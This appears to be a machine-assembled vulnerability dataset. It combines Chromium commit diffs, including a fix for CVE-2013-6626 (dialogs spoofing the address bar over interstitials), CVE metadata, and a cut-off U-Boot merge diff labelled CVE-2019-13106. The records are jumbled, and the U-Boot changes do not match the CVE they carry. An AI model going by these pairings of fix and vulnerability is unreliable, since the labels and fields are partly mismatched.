"https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/overflow_bubble.cc", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/overflow_bubble.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/launcher/overflow_bubble.cc?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -0,0 +1,291 @@\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n+// Use of this source code is governed by a BSD-style license that can be\n+// found in the LICENSE file.\n+\n+#include \"ash/launcher/overflow_bubble.h\"\n+\n+#include <algorithm>\n+\n+#include \"ash/launcher/launcher_types.h\"\n+#include \"ash/launcher/launcher_view.h\"\n+#include \"ui/gfx/screen.h\"\n+#include \"ui/views/bubble/bubble_delegate.h\"\n+#include \"ui/views/bubble/bubble_frame_view.h\"\n+\n+namespace ash {\n+namespace internal {\n+\n+namespace {\n+\n+// This should be the same color as the darkest launcher bar.\n+const SkColor kLauncherColor = SkColorSetARGB(0x80, 0, 0, 0);\n+\n+// Max bubble size to screen size ratio.\n+const float kMaxBubbleSizeToScreenRatio = 0.5f;\n+\n+// Inner padding in pixels for launcher view inside bubble.\n+const int kPadding = 2;\n+\n+// Padding space in pixels between LauncherView's left/top edge to its contents.\n+const int kLauncherViewLeadingInset = 8;\n+\n+// Gets arrow location based on shelf alignment.\n+views::BubbleBorder::ArrowLocation GetBubbleArrowLocation(\n+ ShelfAlignment shelf_alignment) {\n+ switch (shelf_alignment) {\n+ case ash::SHELF_ALIGNMENT_BOTTOM:\n+ return views::BubbleBorder::BOTTOM_LEFT;\n+ case ash::SHELF_ALIGNMENT_LEFT:\n+ return views::BubbleBorder::LEFT_TOP;\n+ case ash::SHELF_ALIGNMENT_RIGHT:\n+ return views::BubbleBorder::RIGHT_TOP;\n+ default:\n+ NOTREACHED() << \"Unknown shelf alignment \" << shelf_alignment;\n+ return views::BubbleBorder::BOTTOM_LEFT;\n+ }\n+}\n+\n+////////////////////////////////////////////////////////////////////////////////\n+// OverflowBubbleView\n+// OverflowBubbleView hosts a LauncherView to display overflown items.\n+\n+class OverflowBubbleView : public views::BubbleDelegateView {\n+ public:\n+ OverflowBubbleView();\n+ virtual ~OverflowBubbleView();\n+\n+ void InitOverflowBubble(LauncherDelegate* delegate,\n+ LauncherModel* model,\n+ views::View* anchor,\n+ ShelfAlignment shelf_alignment,\n+ int overflow_start_index);\n+\n+ private:\n+ bool is_horizontal_alignment() const {\n+ return shelf_alignment_ == SHELF_ALIGNMENT_BOTTOM;\n+ }\n+\n+ const gfx::Size GetContentsSize() const {\n+ return static_cast<views::View*>(launcher_view_)->GetPreferredSize();\n+ }\n+\n+ void ScrollByXOffset(int x_offset);\n+ void ScrollByYOffset(int y_offset);\n+\n+ // views::View overrides:\n+ virtual gfx::Size GetPreferredSize() OVERRIDE;\n+ virtual void Layout() OVERRIDE;\n+ virtual void ChildPreferredSizeChanged(views::View* child) OVERRIDE;\n+ virtual bool OnMouseWheel(const views::MouseWheelEvent& event) OVERRIDE;\n+ virtual bool OnScrollEvent(const views::ScrollEvent & event) OVERRIDE;\n+\n+ // views::BubbleDelegate overrides:\n+ virtual gfx::Rect GetBubbleBounds() OVERRIDE;\n+\n+ ShelfAlignment shelf_alignment_;\n+ LauncherView* launcher_view_; // Owned by views hierarchy.\n+ gfx::Point scroll_offset_;\n+\n+ DISALLOW_COPY_AND_ASSIGN(OverflowBubbleView);\n+};\n+\n+OverflowBubbleView::OverflowBubbleView()\n+ : shelf_alignment_(SHELF_ALIGNMENT_BOTTOM),\n+ launcher_view_(NULL) {\n+}\n+\n+OverflowBubbleView::~OverflowBubbleView() {\n+}\n+\n+void OverflowBubbleView::InitOverflowBubble(LauncherDelegate* delegate,\n+ LauncherModel* model,\n+ views::View* anchor,\n+ ShelfAlignment shelf_alignment,\n+ int overflow_start_index) {\n+ shelf_alignment_ = shelf_alignment;\n+\n+ // Makes bubble view has a layer and clip its children layers.\n+ SetPaintToLayer(true);\n+ SetFillsBoundsOpaquely(false);\n+ layer()->SetMasksToBounds(true);\n+\n+ launcher_view_ = new LauncherView(model, delegate, NULL);\n+ launcher_view_->set_first_visible_index(overflow_start_index);\n+ launcher_view_->set_leading_inset(kLauncherViewLeadingInset);\n+ launcher_view_->Init();\n+ launcher_view_->SetAlignment(shelf_alignment);\n+ AddChildView(launcher_view_);\n+\n+ set_anchor_view(anchor);\n+ set_arrow_location(GetBubbleArrowLocation(shelf_alignment));\n+ set_background(NULL);\n+ set_color(kLauncherColor);\n+ set_margin(kPadding);\n+ set_move_with_anchor(true);\n+ views::BubbleDelegateView::CreateBubble(this);\n+}\n+\n+void OverflowBubbleView::ScrollByXOffset(int x_offset) {\n+ const gfx::Rect visible_bounds(GetContentsBounds());\n+ const gfx::Size contents_size(GetContentsSize());\n+\n+ int x = std::min(contents_size.width() - visible_bounds.width(),\n+ std::max(0, scroll_offset_.x() + x_offset));\n+ scroll_offset_.set_x(x);\n+}\n+\n+void OverflowBubbleView::ScrollByYOffset(int y_offset) {\n+ const gfx::Rect visible_bounds(GetContentsBounds());\n+ const gfx::Size contents_size(GetContentsSize());\n+\n+ int y = std::min(contents_size.height() - visible_bounds.height(),\n+ std::max(0, scroll_offset_.y() + y_offset));\n+ scroll_offset_.set_y(y);\n+}\n+\n+gfx::Size OverflowBubbleView::GetPreferredSize() {\n+ gfx::Size preferred_size = GetContentsSize();\n+\n+ const gfx::Rect monitor_rect = gfx::Screen::GetDisplayNearestPoint(\n+ GetAnchorRect().CenterPoint()).work_area();\n+ if (!monitor_rect.IsEmpty()) {\n+ if (is_horizontal_alignment()) {\n+ preferred_size.set_width(std::min(\n+ preferred_size.width(),\n+ static_cast<int>(monitor_rect.width() *\n+ kMaxBubbleSizeToScreenRatio)));\n+ } else {\n+ preferred_size.set_height(std::min(\n+ preferred_size.height(),\n+ static_cast<int>(monitor_rect.height() *\n+ kMaxBubbleSizeToScreenRatio)));\n+ }\n+ }\n+\n+ return preferred_size;\n+}\n+\n+void OverflowBubbleView::Layout() {\n+ const gfx::Point origin(-scroll_offset_.x(), -scroll_offset_.y());\n+ launcher_view_->SetBoundsRect(gfx::Rect(origin, GetContentsSize()));\n+}\n+\n+void OverflowBubbleView::ChildPreferredSizeChanged(views::View* child) {\n+ // Ensures |launch_view_| is still visible.\n+ ScrollByXOffset(0);\n+ ScrollByYOffset(0);\n+ Layout();\n+\n+ SizeToContents();\n+}\n+\n+bool OverflowBubbleView::OnMouseWheel(const views::MouseWheelEvent& event) {\n+ if (is_horizontal_alignment())\n+ ScrollByXOffset(-event.offset());\n+ else\n+ ScrollByYOffset(-event.offset());\n+ Layout();\n+\n+ return true;\n+}\n+\n+bool OverflowBubbleView::OnScrollEvent(const views::ScrollEvent & event) {\n+ ScrollByXOffset(-event.x_offset());\n+ ScrollByYOffset(-event.y_offset());\n+ Layout();\n+ return true;\n+}\n+\n+gfx::Rect OverflowBubbleView::GetBubbleBounds() {\n+ views::BubbleBorder* border = GetBubbleFrameView()->bubble_border();\n+ gfx::Insets bubble_insets;\n+ border->GetInsets(&bubble_insets);\n+\n+ const int border_size =\n+ views::BubbleBorder::is_arrow_on_horizontal(arrow_location()) ?\n+ bubble_insets.left() : bubble_insets.top();\n+ const int arrow_offset = border_size + kPadding + kLauncherViewLeadingInset +\n+ kLauncherPreferredSize / 2;\n+\n+ const gfx::Size content_size = GetPreferredSize();\n+ border->SetArrowOffset(arrow_offset, content_size);\n+\n+ const gfx::Rect anchor_rect = GetAnchorRect();\n+ gfx::Rect bubble_rect = GetBubbleFrameView()->GetUpdatedWindowBounds(\n+ anchor_rect,\n+ content_size,\n+ false);\n+\n+ gfx::Rect monitor_rect = gfx::Screen::GetDisplayNearestPoint(\n+ anchor_rect.CenterPoint()).work_area();\n+\n+ int offset = 0;\n+ if (views::BubbleBorder::is_arrow_on_horizontal(arrow_location())) {\n+ if (bubble_rect.x() < monitor_rect.x())\n+ offset = monitor_rect.x() - bubble_rect.x();\n+ else if (bubble_rect.right() > monitor_rect.right())\n+ offset = monitor_rect.right() - bubble_rect.right();\n+\n+ bubble_rect.Offset(offset, 0);\n+ border->SetArrowOffset(anchor_rect.CenterPoint().x() - bubble_rect.x(),\n+ content_size);\n+ } else {\n+ if (bubble_rect.y() < monitor_rect.y())\n+ offset = monitor_rect.y() - bubble_rect.y();\n+ else if (bubble_rect.bottom() > monitor_rect.bottom())\n+ offset = monitor_rect.bottom() - bubble_rect.bottom();\n+\n+ bubble_rect.Offset(0, offset);\n+ border->SetArrowOffset(anchor_rect.CenterPoint().y() - bubble_rect.y(),\n+ content_size);\n+ }\n+\n+ GetBubbleFrameView()->SchedulePaint();\n+ return bubble_rect;\n+}\n+\n+} // namespace\n+\n+OverflowBubble::OverflowBubble()\n+ : bubble_(NULL) {\n+}\n+\n+OverflowBubble::~OverflowBubble() {\n+ Hide();\n+}\n+\n+void OverflowBubble::Show(LauncherDelegate* delegate,\n+ LauncherModel* model,\n+ views::View* anchor,\n+ ShelfAlignment shelf_alignment,\n+ int overflow_start_index) {\n+ Hide();\n+\n+ OverflowBubbleView* bubble_view = new OverflowBubbleView();\n+ bubble_view->InitOverflowBubble(delegate,\n+ model,\n+ anchor,\n+ shelf_alignment,\n+ overflow_start_index);\n+\n+ bubble_ = bubble_view;\n+ bubble_->GetWidget()->AddObserver(this);\n+ bubble_->GetWidget()->Show();\n+}\n+\n+void OverflowBubble::Hide() {\n+ if (!IsShowing())\n+ return;\n+\n+ bubble_->GetWidget()->RemoveObserver(this);\n+ bubble_->GetWidget()->Close();\n+ bubble_ = NULL;\n+}\n+\n+void OverflowBubble::OnWidgetClosing(views::Widget* widget) {\n+ DCHECK(widget == bubble_->GetWidget());\n+ bubble_ = NULL;\n+}\n+\n+} // namespace internal\n+} // namespace ash"}<_**next**_>{"sha": "aa2d0e32f36a445cbf78a2a52b5e4978119fd3dc", "filename": "ash/launcher/overflow_bubble.h", "status": "added", "additions": 54, "deletions": 0, "changes": 54, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/overflow_bubble.h", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/launcher/overflow_bubble.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/launcher/overflow_bubble.h?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -0,0 +1,54 @@\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n+// Use of this source code is governed by a BSD-style license that can be\n+// found in the LICENSE file.\n+\n+#ifndef ASH_LAUNCHER_OVERFLOW_BUBBLE_H_\n+#define ASH_LAUNCHER_OVERFLOW_BUBBLE_H_\n+\n+#include \"ash/wm/shelf_types.h\"\n+#include \"base/basictypes.h\"\n+#include \"base/compiler_specific.h\"\n+#include \"ui/views/widget/widget.h\"\n+\n+namespace views {\n+class View;\n+}\n+\n+namespace ash {\n+\n+class LauncherDelegate;\n+class LauncherModel;\n+\n+namespace internal {\n+\n+class LauncherView;\n+\n+// OverflowBubble displays an overflow bubble.\n+class OverflowBubble : public views::Widget::Observer {\n+ public:\n+ OverflowBubble();\n+ virtual ~OverflowBubble();\n+\n+ void Show(LauncherDelegate* delegate,\n+ LauncherModel* model,\n+ views::View* anchor,\n+ ShelfAlignment shelf_alignment,\n+ int overflow_start_index);\n+\n+ void Hide();\n+\n+ bool IsShowing() const { return !!bubble_; }\n+\n+ private:\n+ // views::Widget::Observer overrides:\n+ virtual void OnWidgetClosing(views::Widget* widget) OVERRIDE;\n+\n+ views::View* bubble_; // Owned by views hierarchy.\n+\n+ DISALLOW_COPY_AND_ASSIGN(OverflowBubble);\n+};\n+\n+} // namespace internal\n+} // namespace ash\n+\n+#endif // ASH_LAUNCHER_OVERFLOW_BUBBLE_H_"}<_**next**_>{"sha": "455986f2fbfd73594447918e110c724386a63f89", "filename": "ash/wm/shelf_layout_manager.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/wm/shelf_layout_manager.cc", "raw_url": "https://github.com/chromium/chromium/raw/3475f5e448ddf5e48888f3d0563245cc46e3c98b/ash/wm/shelf_layout_manager.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ash/wm/shelf_layout_manager.cc?ref=3475f5e448ddf5e48888f3d0563245cc46e3c98b", "patch": "@@ -542,6 +542,9 @@ ShelfLayoutManager::AutoHideState ShelfLayoutManager::CalculateAutoHideState(\n if (launcher_ && launcher_->IsShowingMenu())\n return AUTO_HIDE_SHOWN;\n \n+ if (launcher_ && launcher_->IsShowingOverflowBubble())\n+ return AUTO_HIDE_SHOWN;\n+\n if (launcher_widget()->IsActive() || status_->IsActive())\n return AUTO_HIDE_SHOWN;\n "}
|
void set_focus_cycler(internal::FocusCycler* focus_cycler) {
focus_cycler_ = focus_cycler;
}
|
void set_focus_cycler(internal::FocusCycler* focus_cycler) {
focus_cycler_ = focus_cycler;
}
|
C
| null | null | null |
@@ -4,6 +4,8 @@
#include "ash/launcher/launcher.h"
+#include <algorithm>
+
#include "ash/focus_cycler.h"
#include "ash/launcher/launcher_delegate.h"
#include "ash/launcher/launcher_model.h"
@@ -33,7 +35,7 @@ const int kBackgroundAlpha = 128;
// The contents view of the Widget. This view contains LauncherView and
// sizes it to the width of the widget minus the size of the status area.
class Launcher::DelegateView : public views::WidgetDelegate,
- public views::AccessiblePaneView{
+ public views::AccessiblePaneView {
public:
explicit DelegateView(Launcher* launcher);
virtual ~DelegateView();
@@ -211,6 +213,10 @@ bool Launcher::IsShowingMenu() const {
return launcher_view_->IsShowingMenu();
}
+bool Launcher::IsShowingOverflowBubble() const {
+ return launcher_view_->IsShowingOverflowBubble();
+}
+
views::View* Launcher::GetAppListButtonView() const {
return launcher_view_->GetAppListButtonView();
}
|
Chrome
|
3475f5e448ddf5e48888f3d0563245cc46e3c98b
|
d72aa96b40382b63c0501be8d291cc42d1aa696d
| 0
|
void set_focus_cycler(internal::FocusCycler* focus_cycler) {
focus_cycler_ = focus_cycler;
}
|
118,895
| null |
Remote
|
Not required
| null |
CVE-2013-6626
|
https://www.cvedetails.com/cve/CVE-2013-6626/
| null |
Medium
| null |
Partial
| null |
2013-11-13
| 4.3
|
The WebContentsImpl::AttachInterstitialPage function in content/browser/web_contents/web_contents_impl.cc in Google Chrome before 31.0.1650.48 does not cancel JavaScript dialogs upon generating an interstitial warning, which allows remote attackers to spoof the address bar via a crafted web site.
|
2017-09-18
| null | 0
|
https://github.com/chromium/chromium/commit/90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
content/browser/web_contents/web_contents_impl.cc
|
{"sha": "56901bcdfb435f9800494117dd64cd875f9a7148", "filename": "chrome/browser/ui/browser_browsertest.cc", "status": "modified", "additions": 48, "deletions": 0, "changes": 48, "blob_url": "https://github.com/chromium/chromium/blob/90fb08ed0146c9beacfd4dde98a20fc45419fff3/chrome/browser/ui/browser_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/90fb08ed0146c9beacfd4dde98a20fc45419fff3/chrome/browser/ui/browser_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser_browsertest.cc?ref=90fb08ed0146c9beacfd4dde98a20fc45419fff3", "patch": "@@ -31,6 +31,7 @@\n #include \"chrome/browser/sessions/session_service_factory.h\"\n #include \"chrome/browser/translate/translate_tab_helper.h\"\n #include \"chrome/browser/ui/app_modal_dialogs/app_modal_dialog.h\"\n+#include \"chrome/browser/ui/app_modal_dialogs/app_modal_dialog_queue.h\"\n #include \"chrome/browser/ui/app_modal_dialogs/javascript_app_modal_dialog.h\"\n #include \"chrome/browser/ui/app_modal_dialogs/native_app_modal_dialog.h\"\n #include \"chrome/browser/ui/browser.h\"\n@@ -1686,6 +1687,53 @@ IN_PROC_BROWSER_TEST_F(BrowserTest, InterstitialCommandDisable) {\n EXPECT_TRUE(command_updater->IsCommandEnabled(IDC_ENCODING_MENU));\n }\n \n+// Ensure that creating an interstitial page closes any JavaScript dialogs\n+// that were present on the previous page. See http://crbug.com/295695.\n+IN_PROC_BROWSER_TEST_F(BrowserTest, InterstitialClosesDialogs) {\n+ ASSERT_TRUE(test_server()->Start());\n+ host_resolver()->AddRule(\"www.example.com\", \"127.0.0.1\");\n+ GURL url(test_server()->GetURL(\"empty.html\"));\n+ ui_test_utils::NavigateToURL(browser(), url);\n+\n+ WebContents* contents = browser()->tab_strip_model()->GetActiveWebContents();\n+ contents->GetRenderViewHost()->ExecuteJavascriptInWebFrame(\n+ string16(),\n+ ASCIIToUTF16(\"alert('Dialog showing!');\"));\n+ AppModalDialog* alert = ui_test_utils::WaitForAppModalDialog();\n+ EXPECT_TRUE(alert->IsValid());\n+ AppModalDialogQueue* dialog_queue = AppModalDialogQueue::GetInstance();\n+ EXPECT_TRUE(dialog_queue->HasActiveDialog());\n+\n+ TestInterstitialPage* interstitial = NULL;\n+ {\n+ scoped_refptr<content::MessageLoopRunner> loop_runner(\n+ new content::MessageLoopRunner);\n+\n+ InterstitialObserver observer(contents,\n+ loop_runner->QuitClosure(),\n+ base::Closure());\n+ interstitial = new TestInterstitialPage(contents, false, GURL());\n+ loop_runner->Run();\n+ }\n+\n+ // The interstitial should have closed the dialog.\n+ EXPECT_TRUE(contents->ShowingInterstitialPage());\n+ EXPECT_FALSE(dialog_queue->HasActiveDialog());\n+\n+ {\n+ scoped_refptr<content::MessageLoopRunner> loop_runner(\n+ new content::MessageLoopRunner);\n+\n+ InterstitialObserver observer(contents,\n+ base::Closure(),\n+ loop_runner->QuitClosure());\n+ interstitial->Proceed();\n+ loop_runner->Run();\n+ // interstitial is deleted now.\n+ }\n+}\n+\n+\n IN_PROC_BROWSER_TEST_F(BrowserTest, InterstitialCloseTab) {\n WebContents* contents = browser()->tab_strip_model()->GetActiveWebContents();\n "}<_**next**_>{"sha": "9c42e7c231561d0b913bac0799305fab369e1446", "filename": "content/browser/web_contents/web_contents_impl.cc", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/90fb08ed0146c9beacfd4dde98a20fc45419fff3/content/browser/web_contents/web_contents_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/90fb08ed0146c9beacfd4dde98a20fc45419fff3/content/browser/web_contents/web_contents_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/web_contents/web_contents_impl.cc?ref=90fb08ed0146c9beacfd4dde98a20fc45419fff3", "patch": "@@ -1785,6 +1785,12 @@ void WebContentsImpl::AttachInterstitialPage(\n InterstitialPageImpl* interstitial_page) {\n DCHECK(interstitial_page);\n render_manager_.set_interstitial_page(interstitial_page);\n+\n+ // Cancel any visible dialogs so that they don't interfere with the\n+ // interstitial.\n+ if (dialog_manager_)\n+ dialog_manager_->CancelActiveAndPendingDialogs(this);\n+\n FOR_EACH_OBSERVER(WebContentsObserver, observers_,\n DidAttachInterstitialPage());\n }"}
|
WebContentsImpl::GetLastCommittedNavigationEntryForRenderManager() {
return controller_.GetLastCommittedEntry();
}
|
WebContentsImpl::GetLastCommittedNavigationEntryForRenderManager() {
return controller_.GetLastCommittedEntry();
}
|
C
| null | null | null |
@@ -1785,6 +1785,12 @@ void WebContentsImpl::AttachInterstitialPage(
InterstitialPageImpl* interstitial_page) {
DCHECK(interstitial_page);
render_manager_.set_interstitial_page(interstitial_page);
+
+ // Cancel any visible dialogs so that they don't interfere with the
+ // interstitial.
+ if (dialog_manager_)
+ dialog_manager_->CancelActiveAndPendingDialogs(this);
+
FOR_EACH_OBSERVER(WebContentsObserver, observers_,
DidAttachInterstitialPage());
}
|
Chrome
|
90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
4165aa2c5c1f370d1535163e4f05c40af6aa141a
| 0
|
WebContentsImpl::GetLastCommittedNavigationEntryForRenderManager() {
return controller_.GetLastCommittedEntry();
}
|
89,316
| null |
Remote
|
Not required
|
Complete
|
CVE-2019-13106
|
https://www.cvedetails.com/cve/CVE-2019-13106/
|
CWE-787
|
Medium
|
Partial
|
Partial
| null |
2019-08-06
| 8.3
|
Das U-Boot versions 2016.09 through 2019.07-rc4 can memset() too much data while reading a crafted ext4 filesystem, which results in a stack buffer overflow and likely code execution.
|
2019-10-01
|
Exec Code Overflow
| 0
|
https://github.com/u-boot/u-boot/commits/master
|
master
|
Merge branch '2020-01-22-master-imports'
- Re-add U8500 platform support
- Add bcm968360bg support
- Assorted Keymile fixes
- Other assorted bugfixes
| 0
|
board/keymile/km_arm/km_arm.c
|
{"sha": "b0634b23bc875a05240d75a402e639fddb5ec928", "filename": "MAINTAINERS", "status": "modified", "additions": 17, "deletions": 0, "changes": 17, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/MAINTAINERS", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/MAINTAINERS", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/MAINTAINERS?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -403,6 +403,14 @@ F:\tarch/arm/mach-keystone/\n F:\tarch/arm/include/asm/arch-omap*/\n F:\tarch/arm/include/asm/ti-common/\n \n+ARM U8500\n+M:\tStephan Gerhold <stephan@gerhold.net>\n+R:\tLinus Walleij <linus.walleij@linaro.org>\n+S:\tMaintained\n+F:\tarch/arm/dts/ste-*\n+F:\tarch/arm/mach-u8500/\n+F:\tdrivers/timer/nomadik-mtu-timer.c\n+\n ARM UNIPHIER\n M:\tMasahiro Yamada <yamada.masahiro@socionext.com>\n S:\tMaintained\n@@ -781,6 +789,15 @@ F:\tarch/riscv/\n F:\tcmd/riscv/\n F:\ttools/prelink-riscv.c\n \n+RNG\n+M:\tSughosh Ganu <sughosh.ganu@linaro.org>\n+R:\tHeinrich Schuchardt <xypron.glpk@gmx.de>\n+S:\tMaintained\n+F:\tcmd/rng.c\n+F:\tdrivers/rng/\n+F:\tdrivers/virtio/virtio_rng.c\n+F:\tinclude/rng.h\n+\n ROCKUSB\n M:\tEddie Cai <eddie.cai.linux@gmail.com>\n S:\tMaintained"}<_**next**_>{"sha": "880ffacbc2470eb2491ed2eb75d6f6ce8bf962ab", "filename": "Makefile", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -1932,7 +1932,7 @@ CLEAN_FILES += include/bmp_logo.h include/bmp_logo_data.h tools/version.h \\\n \t boot* u-boot* MLO* SPL System.map fit-dtb.blob* \\\n \t u-boot-ivt.img.log u-boot-dtb.imx.log SPL.log u-boot.imx.log \\\n \t lpc32xx-* bl31.c bl31.elf bl31_*.bin image.map tispl.bin* \\\n-\t idbloader.img\n+\t idbloader.img flash.bin flash.log\n \n # Directories & files removed with 'make mrproper'\n MRPROPER_DIRS += include/config include/generated spl tpl \\"}<_**next**_>{"sha": "9608f54804d01ea7882a28225793827c0b37faa6", "filename": "arch/arm/Kconfig", "status": "modified", "additions": 27, "deletions": 0, "changes": 27, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -633,6 +633,12 @@ config ARCH_BCM63158\n \tselect OF_CONTROL\n \timply CMD_DM\n \n+config ARCH_BCM68360\n+\tbool \"Broadcom BCM68360 family\"\n+\tselect DM\n+\tselect OF_CONTROL\n+\timply CMD_DM\n+\n config ARCH_BCM6858\n \tbool \"Broadcom BCM6858 family\"\n \tselect DM\n@@ -1009,6 +1015,24 @@ config ARCH_SUNXI\n \timply SPL_SERIAL_SUPPORT\n \timply USB_GADGET\n \n+config ARCH_U8500\n+\tbool \"ST-Ericsson U8500 Series\"\n+\tselect CPU_V7A\n+\tselect DM\n+\tselect DM_GPIO\n+\tselect DM_MMC if MMC\n+\tselect DM_SERIAL\n+\tselect DM_USB if USB\n+\tselect OF_CONTROL\n+\tselect SYSRESET\n+\tselect TIMER\n+\timply ARM_PL180_MMCI\n+\timply DM_RTC\n+\timply NOMADIK_MTU_TIMER\n+\timply PL01X_SERIAL\n+\timply RTC_PL031\n+\timply SYSRESET_SYSCON\n+\n config ARCH_VERSAL\n \tbool \"Support Xilinx Versal Platform\"\n \tselect ARM64\n@@ -1779,6 +1803,8 @@ source \"arch/arm/mach-sunxi/Kconfig\"\n \n source \"arch/arm/mach-tegra/Kconfig\"\n \n+source \"arch/arm/mach-u8500/Kconfig\"\n+\n source \"arch/arm/mach-uniphier/Kconfig\"\n \n source \"arch/arm/cpu/armv7/vf610/Kconfig\"\n@@ -1808,6 +1834,7 @@ source \"board/armltd/vexpress64/Kconfig\"\n source \"board/broadcom/bcm23550_w1d/Kconfig\"\n source \"board/broadcom/bcm28155_ap/Kconfig\"\n source \"board/broadcom/bcm963158/Kconfig\"\n+source \"board/broadcom/bcm968360bg/Kconfig\"\n source \"board/broadcom/bcm968580xref/Kconfig\"\n source \"board/broadcom/bcmcygnus/Kconfig\"\n source \"board/broadcom/bcmnsp/Kconfig\""}<_**next**_>{"sha": "e25bb0e594b56b0e58803961ad0d96a5d835cea5", "filename": "arch/arm/Makefile", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -79,6 +79,7 @@ machine-$(CONFIG_ARCH_ROCKCHIP)\t\t+= rockchip\n machine-$(CONFIG_STM32)\t\t\t+= stm32\n machine-$(CONFIG_ARCH_STM32MP)\t\t+= stm32mp\n machine-$(CONFIG_TEGRA)\t\t\t+= tegra\n+machine-$(CONFIG_ARCH_U8500)\t\t+= u8500\n machine-$(CONFIG_ARCH_UNIPHIER)\t\t+= uniphier\n machine-$(CONFIG_ARCH_ZYNQ)\t\t+= zynq\n machine-$(CONFIG_ARCH_ZYNQMP)\t\t+= zynqmp"}<_**next**_>{"sha": "b48b05fd2477a70f458ee5e1f26528681b27b113", "filename": "arch/arm/dts/Makefile", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -389,6 +389,8 @@ dtb-$(CONFIG_FSL_LSCH2) += fsl-ls1043a-qds-duart.dtb \\\n dtb-$(CONFIG_TARGET_DRAGONBOARD410C) += dragonboard410c.dtb\n dtb-$(CONFIG_TARGET_DRAGONBOARD820C) += dragonboard820c.dtb\n \n+dtb-$(CONFIG_TARGET_STEMMY) += ste-ux500-samsung-stemmy.dtb\n+\n dtb-$(CONFIG_STM32F4) += stm32f429-disco.dtb \\\n \tstm32429i-eval.dtb \\\n \tstm32f469-disco.dtb\n@@ -857,6 +859,9 @@ dtb-$(CONFIG_ARCH_BCM283X) += \\\n dtb-$(CONFIG_ARCH_BCM63158) += \\\n \tbcm963158.dtb\n \n+dtb-$(CONFIG_ARCH_BCM68360) += \\\n+\tbcm968360bg.dtb\n+\n dtb-$(CONFIG_ARCH_BCM6858) += \\\n \tbcm968580xref.dtb\n "}<_**next**_>{"sha": "7bbe207794ebc025f0bb1ef79b3ebe495bc860ff", "filename": "arch/arm/dts/bcm68360.dtsi", "status": "added", "additions": 217, "deletions": 0, "changes": 217, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/bcm68360.dtsi", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/bcm68360.dtsi", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/bcm68360.dtsi?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,217 @@\n+// SPDX-License-Identifier: GPL-2.0+\n+/*\n+ * Copyright (C) 2020 Philippe Reynes <philippe.reynes@softathome.com>\n+ */\n+\n+#include \"skeleton64.dtsi\"\n+\n+/ {\n+\tcompatible = 